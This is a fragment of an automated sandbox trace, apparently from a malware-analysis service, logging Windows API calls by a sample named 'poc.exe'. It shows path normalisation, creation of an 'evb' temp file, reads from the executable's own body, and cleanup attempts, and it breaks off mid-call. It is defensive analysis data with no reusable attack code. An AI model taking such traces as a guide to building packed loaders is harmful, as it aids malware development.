SysReAllocStringLen (in: pbstr=0x28f8b4*="programdata\\", psz="poc.exe", len=0x7 | out: pbstr=0x28f8b4*="poc.exe") returned 1 [0091.866] QueryDosDeviceW (in: lpDeviceName="c:", lpTargetPath=0x4606a8, ucchMax=0xfffe | out: lpTargetPath="\\Device\\HarddiskVolume1") returned 0x19 [0091.866] SysReAllocStringLen (in: pbstr=0x28f8ac*=0x0, psz="\\Device\\HarddiskVolume1", len=0x17 | out: pbstr=0x28f8ac*="\\Device\\HarddiskVolume1") returned 1 [0091.867] SysReAllocStringLen (in: pbstr=0x28f8bc*="\\Device\\HarddiskVolume1", psz="\\Device\\HarddiskVolume1\\programdata\\poc.exe\\", len=0x2c | out: pbstr=0x28f8bc*="\\Device\\HarddiskVolume1\\programdata\\poc.exe\\") returned 1 [0091.867] CharLowerBuffW (in: lpsz="\\Device\\HarddiskVolume1\\programdata\\poc.exe\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\programdata\\poc.exe\\") returned 0x2c [0091.867] SysReAllocStringLen (in: pbstr=0x4706b0*=0x0, psz="\\device\\harddiskvolume1\\programdata\\poc.exe\\", len=0x2c | out: pbstr=0x4706b0*="\\device\\harddiskvolume1\\programdata\\poc.exe\\") returned 1 [0091.867] SysReAllocStringLen (in: pbstr=0x4706d4*=0x0, psz="device", len=0x6 | out: pbstr=0x4706d4*="device") returned 1 [0091.867] SysReAllocStringLen (in: pbstr=0x4706f4*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x4706f4*="harddiskvolume1") returned 1 [0091.868] SysReAllocStringLen (in: pbstr=0x470700*=0x0, psz="programdata", len=0xb | out: pbstr=0x470700*="programdata") returned 1 [0091.868] SysReAllocStringLen (in: pbstr=0x47070c*=0x0, psz="poc.exe", len=0x7 | out: pbstr=0x47070c*="poc.exe") returned 1 [0091.868] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="deviceedata", lpUsedDefaultChar=0x0) returned 6 [0091.868] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0091.868] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0091.868] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="poc.exe", cchWideChar=7, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="poc.exedataume1", lpUsedDefaultChar=0x0) returned 7 [0091.868] SysReAllocStringLen (in: pbstr=0x28f8b0*="poc.exe", psz="device", len=0x6 | out: pbstr=0x28f8b0*="device") returned 1 [0091.868] SysReAllocStringLen (in: pbstr=0x28f8b4*="poc.exe\\", psz="device", len=0x6 | out: pbstr=0x28f8b4*="device") returned 1 [0091.868] SysReAllocStringLen (in: pbstr=0x28f8b0*="device", psz="harddiskvolume1", len=0xf | out: pbstr=0x28f8b0*="harddiskvolume1") returned 1 [0091.868] SysReAllocStringLen (in: pbstr=0x28f8b4*="device\\", psz="harddiskvolume1", len=0xf | out: pbstr=0x28f8b4*="harddiskvolume1") returned 1 [0091.869] SysReAllocStringLen (in: pbstr=0x28f8b0*="harddiskvolume1", psz="programdata", len=0xb | out: pbstr=0x28f8b0*="programdata") returned 1 [0091.869] SysReAllocStringLen (in: pbstr=0x28f8b4*="harddiskvolume1\\", psz="programdata", len=0xb | out: pbstr=0x28f8b4*="programdata") returned 1 [0091.869] SysReAllocStringLen (in: pbstr=0x28f8b0*="programdata", psz="poc.exe", len=0x7 | out: pbstr=0x28f8b0*="poc.exe") returned 1 [0091.869] SysReAllocStringLen (in: pbstr=0x28f8b4*="programdata\\", psz="poc.exe", len=0x7 | out: pbstr=0x28f8b4*="poc.exe") returned 1 [0091.869] VirtualFree (lpAddress=0x464000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0091.870] CharLowerBuffW (in: lpsz="device\\harddiskvolume1\\programdata\\poc.exe\\", cchLength=0x2b | out: lpsz="device\\harddiskvolume1\\programdata\\poc.exe\\") returned 0x2b [0091.870] SysReAllocStringLen (in: pbstr=0x28f8a8*=0x0, psz="device\\harddiskvolume1\\programdata\\poc.exe\\", len=0x2b | out: pbstr=0x28f8a8*="device\\harddiskvolume1\\programdata\\poc.exe\\") returned 1 [0091.870] SysReAllocStringLen (in: pbstr=0x28f908*="device\\harddiskvolume1\\programdata\\poc.exe\\", psz="device\\harddiskvolume1\\programdata\\poc.exe", len=0x2a | out: pbstr=0x28f908*="device\\harddiskvolume1\\programdata\\poc.exe") returned 1 [0091.870] CharLowerBuffW (in: lpsz="device\\harddiskvolume1\\programdata\\poc.exe", cchLength=0x2a | out: lpsz="device\\harddiskvolume1\\programdata\\poc.exe") returned 0x2a [0091.870] SysReAllocStringLen (in: pbstr=0x4606ac*=0x0, psz="device\\harddiskvolume1\\programdata\\poc.exe", len=0x2a | out: pbstr=0x4606ac*="device\\harddiskvolume1\\programdata\\poc.exe") returned 1 [0091.870] SysReAllocStringLen (in: pbstr=0x4606d0*=0x0, psz="device", len=0x6 | out: pbstr=0x4606d0*="device") returned 1 [0091.870] SysReAllocStringLen (in: pbstr=0x4606f0*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x4606f0*="harddiskvolume1") returned 1 [0091.871] SysReAllocStringLen (in: pbstr=0x4606fc*=0x0, psz="programdata", len=0xb | out: pbstr=0x4606fc*="programdata") returned 1 [0091.871] SysReAllocStringLen (in: pbstr=0x460708*=0x0, psz="poc.exe", len=0x7 | out: pbstr=0x460708*="poc.exe") returned 1 [0091.871] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e870, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device", lpUsedDefaultChar=0x0) returned 6 [0091.871] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e870, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0091.871] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e870, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0091.871] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="poc.exe", cchWideChar=7, lpMultiByteStr=0x28e870, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="poc.exedataume1", lpUsedDefaultChar=0x0) returned 7 [0091.871] CharLowerBuffW (in: lpsz="c:\\ProgramData\\poc.exe", cchLength=0x16 | out: lpsz="c:\\programdata\\poc.exe") returned 0x16 [0091.871] SysReAllocStringLen (in: pbstr=0x460718*=0x0, psz="c:\\programdata\\poc.exe", len=0x16 | out: pbstr=0x460718*="c:\\programdata\\poc.exe") returned 1 [0091.871] SysReAllocStringLen (in: pbstr=0x46071c*=0x0, psz="c:", len=0x2 | out: pbstr=0x46071c*="c:") returned 1 [0091.872] SysReAllocStringLen (in: pbstr=0x46073c*=0x0, psz="programdata", len=0xb | out: pbstr=0x46073c*="programdata") returned 1 [0091.872] SysReAllocStringLen (in: pbstr=0x46075c*=0x0, psz="poc.exe", len=0x7 | out: pbstr=0x46075c*="poc.exe") returned 1 [0091.872] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e5b4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatadata", lpUsedDefaultChar=0x0) returned 11 [0091.872] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="poc.exe", cchWideChar=7, lpMultiByteStr=0x28e5b4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="poc.exedatadata", lpUsedDefaultChar=0x0) returned 7 [0091.872] SysReAllocStringLen (in: pbstr=0x28f64c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f64c*="c:") returned 1 [0091.872] SysReAllocStringLen (in: pbstr=0x28f8fc*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f8fc*="c:\\") returned 1 [0091.872] SysReAllocStringLen (in: pbstr=0x28f644*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f644*="programdata") returned 1 [0091.872] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28f670 | out: lpFindFileData=0x28f670*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x758e00 [0091.872] FindNextFileW (in: hFindFile=0x758e00, lpFindFileData=0x28f670 | out: lpFindFileData=0x28f670*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0091.872] GetLastError () returned 0x12 [0091.872] FindClose (in: hFindFile=0x758e00 | out: hFindFile=0x758e00) returned 1 [0091.873] SysReAllocStringLen (in: pbstr=0x28f634*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28f634*="c:\\PROGRA~3") returned 1 [0091.873] SysReAllocStringLen (in: pbstr=0x28f8fc*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f8fc*="c:\\PROGRA~3\\") returned 1 [0091.873] SysReAllocStringLen (in: pbstr=0x28f644*="programdata", psz="poc.exe", len=0x7 | out: pbstr=0x28f644*="poc.exe") returned 1 [0091.873] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\poc.exe", lpFindFileData=0x28f670 | out: lpFindFileData=0x28f670*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x78a55620, ftCreationTime.dwHighDateTime=0x1d5ca1f, ftLastAccessTime.dwLowDateTime=0x78a55620, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x78cdcd80, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x1d5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="poc.exe", cAlternateFileName="")) returned 0x758e00 [0091.920] FileTimeToLocalFileTime (in: lpFileTime=0x28f684, lpLocalFileTime=0x28f5ec | out: lpLocalFileTime=0x28f5ec) returned 1 [0091.920] FileTimeToDosDateTime (in: lpFileTime=0x28f5ec, lpFatDate=0x28f652, lpFatTime=0x28f650 | out: lpFatDate=0x28f652, lpFatTime=0x28f650) returned 1 [0091.920] FindClose (in: hFindFile=0x758e00 | out: hFindFile=0x758e00) returned 1 [0091.921] SysReAllocStringLen (in: pbstr=0x28f634*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\poc.exe", len=0x13 | out: pbstr=0x28f634*="c:\\PROGRA~3\\poc.exe") returned 1 [0091.921] SysReAllocStringLen (in: pbstr=0x28f8fc*="c:\\PROGRA~3\\poc.exe", psz="c:\\PROGRA~3\\poc.exe\\", len=0x14 | out: pbstr=0x28f8fc*="c:\\PROGRA~3\\poc.exe\\") returned 1 [0091.921] SysReAllocStringLen (in: pbstr=0x28f630*=0x0, psz="c:\\PROGRA~3\\poc.exe\\", len=0x14 | out: pbstr=0x28f630*="c:\\PROGRA~3\\poc.exe\\") returned 1 [0091.921] SysReAllocStringLen (in: pbstr=0x28f8fc*="c:\\PROGRA~3\\poc.exe\\", psz="c:\\PROGRA~3\\poc.exe", len=0x13 | out: pbstr=0x28f8fc*="c:\\PROGRA~3\\poc.exe") returned 1 [0091.921] SysReAllocStringLen (in: pbstr=0x28f8bc*=0x0, psz="c:\\PROGRA~3\\poc.exe", len=0x13 | out: pbstr=0x28f8bc*="c:\\PROGRA~3\\poc.exe") returned 1 [0091.921] VirtualAlloc (lpAddress=0x464000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x464000 [0091.922] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\poc.exe", cchLength=0x13 | out: lpsz="c:\\progra~3\\poc.exe") returned 0x13 [0091.922] SysReAllocStringLen (in: pbstr=0x47071c*=0x0, psz="c:\\progra~3\\poc.exe", len=0x13 | out: pbstr=0x47071c*="c:\\progra~3\\poc.exe") returned 1 [0091.922] SysReAllocStringLen (in: pbstr=0x470720*=0x0, psz="c:", len=0x2 | out: pbstr=0x470720*="c:") returned 1 [0091.922] SysReAllocStringLen (in: pbstr=0x470740*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x470740*="progra~3") returned 1 [0091.923] SysReAllocStringLen (in: pbstr=0x470760*=0x0, psz="poc.exe", len=0x7 | out: pbstr=0x470760*="poc.exe") returned 1 [0091.923] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3½ÓA", lpUsedDefaultChar=0x0) returned 8 [0091.923] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="poc.exe", cchWideChar=7, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="poc.exe3½ÓA", lpUsedDefaultChar=0x0) returned 7 [0091.923] VirtualFree (lpAddress=0x474000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0091.923] SysReAllocStringLen (in: pbstr=0x28f8b0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f8b0*="progra~3") returned 1 [0091.923] SysReAllocStringLen (in: pbstr=0x28f8b4*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f8b4*="progra~3") returned 1 [0091.923] SysReAllocStringLen (in: pbstr=0x28f8b0*="progra~3", psz="poc.exe", len=0x7 | out: pbstr=0x28f8b0*="poc.exe") returned 1 [0091.923] SysReAllocStringLen (in: pbstr=0x28f8b4*="progra~3\\", psz="poc.exe", len=0x7 | out: pbstr=0x28f8b4*="poc.exe") returned 1 [0091.923] QueryDosDeviceW (in: lpDeviceName="c:", lpTargetPath=0x460714, ucchMax=0xfffe | out: lpTargetPath="\\Device\\HarddiskVolume1") returned 0x19 [0091.924] SysReAllocStringLen (in: pbstr=0x28f8ac*=0x0, psz="\\Device\\HarddiskVolume1", len=0x17 | out: pbstr=0x28f8ac*="\\Device\\HarddiskVolume1") returned 1 [0091.924] SysReAllocStringLen (in: pbstr=0x28f8bc*="\\Device\\HarddiskVolume1", psz="\\Device\\HarddiskVolume1\\progra~3\\poc.exe\\", len=0x29 | out: pbstr=0x28f8bc*="\\Device\\HarddiskVolume1\\progra~3\\poc.exe\\") returned 1 [0091.925] CharLowerBuffW (in: lpsz="\\Device\\HarddiskVolume1\\progra~3\\poc.exe\\", cchLength=0x29 | out: lpsz="\\device\\harddiskvolume1\\progra~3\\poc.exe\\") returned 0x29 [0091.925] SysReAllocStringLen (in: pbstr=0x47071c*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\poc.exe\\", len=0x29 | out: pbstr=0x47071c*="\\device\\harddiskvolume1\\progra~3\\poc.exe\\") returned 1 [0091.925] SysReAllocStringLen (in: pbstr=0x470740*=0x0, psz="device", len=0x6 | out: pbstr=0x470740*="device") returned 1 [0091.925] SysReAllocStringLen (in: pbstr=0x470760*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x470760*="harddiskvolume1") returned 1 [0091.925] SysReAllocStringLen (in: pbstr=0x47076c*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x47076c*="progra~3") returned 1 [0091.926] SysReAllocStringLen (in: pbstr=0x470778*=0x0, psz="poc.exe", len=0x7 | out: pbstr=0x470778*="poc.exe") returned 1 [0091.926] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devicee3½ÓA", lpUsedDefaultChar=0x0) returned 6 [0091.926] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0091.926] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3volume1", lpUsedDefaultChar=0x0) returned 8 [0091.926] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="poc.exe", cchWideChar=7, lpMultiByteStr=0x28e828, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="poc.exe3volume1", lpUsedDefaultChar=0x0) returned 7 [0091.926] SysReAllocStringLen (in: pbstr=0x28f8b0*="poc.exe", psz="device", len=0x6 | out: pbstr=0x28f8b0*="device") returned 1 [0091.926] SysReAllocStringLen (in: pbstr=0x28f8b4*="poc.exe\\", psz="device", len=0x6 | out: pbstr=0x28f8b4*="device") returned 1 [0091.926] SysReAllocStringLen (in: pbstr=0x28f8b0*="device", psz="harddiskvolume1", len=0xf | out: pbstr=0x28f8b0*="harddiskvolume1") returned 1 [0091.926] SysReAllocStringLen (in: pbstr=0x28f8b4*="device\\", psz="harddiskvolume1", len=0xf | out: pbstr=0x28f8b4*="harddiskvolume1") returned 1 [0091.926] SysReAllocStringLen (in: pbstr=0x28f8b0*="harddiskvolume1", psz="progra~3", len=0x8 | out: pbstr=0x28f8b0*="progra~3") returned 1 [0091.926] SysReAllocStringLen (in: pbstr=0x28f8b4*="harddiskvolume1\\", psz="progra~3", len=0x8 | out: pbstr=0x28f8b4*="progra~3") returned 1 [0091.927] SysReAllocStringLen (in: pbstr=0x28f8b0*="progra~3", psz="poc.exe", len=0x7 | out: pbstr=0x28f8b0*="poc.exe") returned 1 [0091.927] SysReAllocStringLen (in: pbstr=0x28f8b4*="progra~3\\", psz="poc.exe", len=0x7 | out: pbstr=0x28f8b4*="poc.exe") returned 1 [0091.927] VirtualFree (lpAddress=0x464000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0091.928] CharLowerBuffW (in: lpsz="device\\harddiskvolume1\\progra~3\\poc.exe\\", cchLength=0x28 | out: lpsz="device\\harddiskvolume1\\progra~3\\poc.exe\\") returned 0x28 [0091.928] SysReAllocStringLen (in: pbstr=0x28f8a8*=0x0, psz="device\\harddiskvolume1\\progra~3\\poc.exe\\", len=0x28 | out: pbstr=0x28f8a8*="device\\harddiskvolume1\\progra~3\\poc.exe\\") returned 1 [0091.928] SysReAllocStringLen (in: pbstr=0x28f900*="device\\harddiskvolume1\\progra~3\\poc.exe\\", psz="device\\harddiskvolume1\\progra~3\\poc.exe", len=0x27 | out: pbstr=0x28f900*="device\\harddiskvolume1\\progra~3\\poc.exe") returned 1 [0091.928] CharLowerBuffW (in: lpsz="device\\harddiskvolume1\\progra~3\\poc.exe", cchLength=0x27 | out: lpsz="device\\harddiskvolume1\\progra~3\\poc.exe") returned 0x27 [0091.928] SysReAllocStringLen (in: pbstr=0x460718*=0x0, psz="device\\harddiskvolume1\\progra~3\\poc.exe", len=0x27 | out: pbstr=0x460718*="device\\harddiskvolume1\\progra~3\\poc.exe") returned 1 [0091.928] SysReAllocStringLen (in: pbstr=0x46073c*=0x0, psz="device", len=0x6 | out: pbstr=0x46073c*="device") returned 1 [0091.928] SysReAllocStringLen (in: pbstr=0x46075c*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x46075c*="harddiskvolume1") returned 1 [0091.928] SysReAllocStringLen (in: pbstr=0x460768*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x460768*="progra~3") returned 1 [0091.929] SysReAllocStringLen (in: pbstr=0x460774*=0x0, psz="poc.exe", len=0x7 | out: pbstr=0x460774*="poc.exe") returned 1 [0091.929] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e870, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="deviceedataume1", lpUsedDefaultChar=0x0) returned 6 [0091.929] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e870, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0091.929] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e870, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3volume1", lpUsedDefaultChar=0x0) returned 8 [0091.929] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="poc.exe", cchWideChar=7, lpMultiByteStr=0x28e870, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="poc.exe3volume1", lpUsedDefaultChar=0x0) returned 7 [0091.929] SysReAllocStringLen (in: pbstr=0x460638*=0x0, psz="c:\\ProgramData\\poc.exe", len=0x16 | out: pbstr=0x460638*="c:\\ProgramData\\poc.exe") returned 1 [0091.929] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0xc0 [0091.929] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xcc [0091.930] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0xd0 [0091.930] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xd4 [0091.930] SysReAllocStringLen (in: pbstr=0x460850*=0x0, psz="registry", len=0x8 | out: pbstr=0x460850*="registry") returned 1 [0091.930] SysReAllocStringLen (in: pbstr=0x460854*=0x0, psz="registry", len=0x8 | out: pbstr=0x460854*="registry") returned 1 [0091.930] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0xd8 [0091.930] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xdc [0091.931] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0xe0 [0091.931] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xe4 [0091.931] VirtualAlloc (lpAddress=0x464000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x464000 [0091.932] GetTempPathW (in: nBufferLength=0xfffe, lpBuffer=0x460be0 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25 [0091.932] GetTempFileNameW (in: lpPathName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\", lpPrefixString="evb", uUnique=0x0, lpTempFileName=0x460be0 | out: lpTempFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\evb55BD.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\evb55bd.tmp")) returned 0x55bd [0091.934] VirtualFree (lpAddress=0x464000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0091.934] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\evb55BD.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\evb55bd.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe8 [0091.934] CreateFileW (lpFileName="c:\\ProgramData\\poc.exe" (normalized: "c:\\programdata\\poc.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xec [0091.934] SetFilePointer (in: hFile=0xec, lDistanceToMove=93344, lpDistanceToMoveHigh=0x28f564*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x28f564*=0) returned 0x16ca0 [0091.934] ReadFile (in: hFile=0xec, lpBuffer=0x28f8b0, nNumberOfBytesToRead=0x40, lpNumberOfBytesRead=0x28f568, lpOverlapped=0x0 | out: lpBuffer=0x28f8b0*, lpNumberOfBytesRead=0x28f568*=0x40, lpOverlapped=0x0) returned 1 [0091.935] CloseHandle (hObject=0xec) returned 1 [0091.935] SysReAllocStringLen (in: pbstr=0x460bf0*=0x0, psz="c:\\ProgramData\\poc.exe", len=0x16 | out: pbstr=0x460bf0*="c:\\ProgramData\\poc.exe") returned 1 [0091.935] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0091.935] GetProcAddress (hModule=0x76e10000, lpProcName="GetErrorMode") returned 0x76e3b148 [0091.936] GetErrorMode () returned 0x0 [0091.936] SetErrorMode (uMode=0x1) returned 0x0 [0091.936] SetErrorMode (uMode=0x0) returned 0x1 [0091.936] VirtualAlloc (lpAddress=0x464000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x464000 [0091.937] GetTempPathW (in: nBufferLength=0xfffe, lpBuffer=0x460c44 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25 [0091.937] SysReAllocStringLen (in: pbstr=0x28f57c*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\", len=0x25 | out: pbstr=0x28f57c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 1 [0091.937] FindFirstFileW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\evb*.tmp", lpFindFileData=0x28f328 | out: lpFindFileData=0x28f328*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d87a660, ftCreationTime.dwHighDateTime=0x1d5ca1f, ftLastAccessTime.dwLowDateTime=0x8d87a660, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8d87a660, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740000, dwReserved1=0x75c128, cFileName="evb55BD.tmp", cAlternateFileName="")) returned 0x758e00 [0091.937] FileTimeToLocalFileTime (in: lpFileTime=0x28f33c, lpLocalFileTime=0x28f2c8 | out: lpLocalFileTime=0x28f2c8) returned 1 [0091.937] FileTimeToDosDateTime (in: lpFileTime=0x28f2c8, lpFatDate=0x28f30a, lpFatTime=0x28f308 | out: lpFatDate=0x28f30a, lpFatTime=0x28f308) returned 1 [0091.937] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\evb55BD.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\evb55bd.tmp")) returned 0 [0091.937] FindNextFileW (in: hFindFile=0x758e00, lpFindFileData=0x28f328 | out: lpFindFileData=0x28f328*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d87a660, ftCreationTime.dwHighDateTime=0x1d5ca1f, ftLastAccessTime.dwLowDateTime=0x8d87a660, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8d87a660, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740000, dwReserved1=0x75c128, cFileName="evb55BD.tmp", cAlternateFileName="")) returned 0 [0091.937] GetLastError () returned 0x12 [0091.937] FindClose (in: hFindFile=0x758e00 | out: hFindFile=0x758e00) returned 1 [0091.938] VirtualFree (lpAddress=0x464000, dwSize=0x14000, 